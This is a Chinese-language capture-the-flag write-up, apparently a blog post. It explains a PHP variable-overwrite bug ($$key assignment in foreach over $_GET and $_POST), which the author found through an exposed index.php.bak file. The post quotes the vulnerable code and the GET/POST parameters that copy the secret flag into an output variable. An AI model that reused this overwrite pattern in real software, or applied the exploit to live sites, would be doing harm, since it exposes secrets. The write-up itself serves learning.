新知识,变量覆盖

靶机:111.74.9.131:10017

今天比赛里的一道题

我们第一眼看到了这个,提示我们跟.bak文件有关

在url地址后输入index.php.bak得到了一份文件

选择文本文件打开后看到网页的源代码

根据代码提示需要用POST方式传一个flag变量进去

if ($_SERVER["REQUEST_METHOD"] != "POST")

die("Mabey you need know bak file");

if ( !isset($_POST["flag"]) )

die($_403);

这里我们用火狐浏览器里的Max HacKBar插件

继续分析发现

foreach ($_GET as $key => $value)

    $$key = $$value;

foreach ($_POST as $key => $value)

    $$key = $value;

$$,这里是一个新的知识点,叫变量覆盖

第一个foreach处,能将任意变量的值赋予任意变量

第二个foreach处,能将输入的值赋予任意变量

之前并未学习过变量覆盖,,所以就去找了找大佬的文章在两张图就来自于他

if ( $_POST["flag"] !== $flag )

    die($_403);

echo "This is your flag : ". $flag . "\n";

die($_200);

这里我们知道$_POST["flag"]如果与$flag不完全相等,即值和类型都比较时,输出$_403

如果完全相等,则输出$flag和$_200

源代码大致分析结束了,接下来我们试试随便传一个值给flag

显然这个flag并不是真的,在这卡了许久的。看回上面的变量覆盖,foreach ($_POST as $key => $value)$$key = $value;

当只POST一个值为1的变量flag,$$key = $valu=>$flag = 1,使可能原本存在的变量$flag被赋值为1,即真实的flag被修改为变量flag的值,由于前面的两个if,这是无法被改变的

所以,需要在真实的flag被修改前将其值给其他变量并能输出出来能输出的只有die($_403);和die($_200);,

所以思路是利用变量覆盖在flag被改前将真实的$flag的值覆盖$_403或$_200并输出,而能利用变量覆盖将一个变量的值覆盖其他变量的地方只有第一个foreach处。

将真实的flag覆盖$_200并输出$_200

$_GET['_200']='flag';

$_POST['flag']=1;

foreach ($_GET as $key => $value)

    $$key = $$value;

 

相当于$_200=$flag,将真flag给了$_200

foreach ($_POST as $key => $value)

    $$key = $value;

if ( $_POST["flag"] !== $flag )

    die($_403);

$flag被修改为1,与$_POST['flag']等值等类型,不满足$_POST["flag"] !== $flag

echo "This is your flag : ". $flag . "\n";

die($_200);

输出$_200即输出真flag

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值